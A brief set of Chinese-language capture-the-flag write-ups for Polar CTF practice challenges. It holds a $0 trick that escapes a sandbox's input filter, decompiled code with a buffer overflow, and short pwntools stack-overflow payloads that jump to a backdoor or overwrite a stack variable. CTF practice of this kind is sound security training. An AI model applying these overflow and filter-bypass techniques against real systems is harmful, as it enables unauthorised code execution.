Polar ctf

靶场

sandbox

输入 $0 即可绕过那几个检查

1. $0 的基本含义

  • 在脚本中$0 表示正在运行的脚本名称。
    例如,执行脚本 ./test.sh 时,$0 的值是 ./test.sh
  • 在交互式 Shell 中$0 表示当前 Shell 的名称(如 bashshzsh)。
    例如,在 Bash 中输入 echo $0,输出通常是 bash

creeper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 game()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Creeper?");
read(0, buf, 0x100uLL);
if ( strlen(buf) == 0xF )
{
puts("Aw man");
system("cat flag");
}
else
{
puts("Si............");
}
return 0LL;
}

输入15个字符就行,如:

1
aaaabbbbaaaabb\n

hahaha

后门直接溢出就行,高版本需要有栈平衡

1
2
3
4
payload = b'a'*(0x30+8) + p64(0x0000000000400441) + p64(0x400596)
sl(payload)

itr()

cat

溢出改栈上的变量

1
2
3
4
5
ps = b"lovecat"
payload = b'a'*0x20 + p64(0x74616365766F6C)
sl(payload)

itr()